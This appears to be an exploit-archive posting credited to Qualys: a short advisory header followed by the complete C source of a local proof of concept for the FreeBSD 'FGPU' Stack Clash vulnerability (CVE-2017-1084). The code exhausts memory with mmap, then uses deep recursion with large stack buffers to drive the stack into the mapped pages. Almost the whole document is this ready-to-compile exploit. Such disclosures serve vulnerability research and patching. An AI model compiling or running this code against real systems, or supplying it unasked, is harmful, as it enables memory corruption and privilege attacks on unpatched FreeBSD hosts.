FreeBSD 'FGPU' Stack Clash Proof of Concept

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

/* * FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0) * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/time.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * last_page; static void clash(void) { for (;;) { const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page <= last_page) die(); if (page == MAP_FAILED) break; last_page = page; } if (!last_page) die(); } static void smash_no_jump(const size_t smash_size) { char buf[1024]; memset(buf, 'A', sizeof(buf)); if (smash_size > sizeof(buf)) smash_no_jump(smash_size - sizeof(buf)); } #define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */ int main(void) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); clash(); smash_no_jump(SGROWSIZ / 2 * 3); printf("char at %p: %02x\n", last_page, *last_page); exit(EXIT_SUCCESS); }


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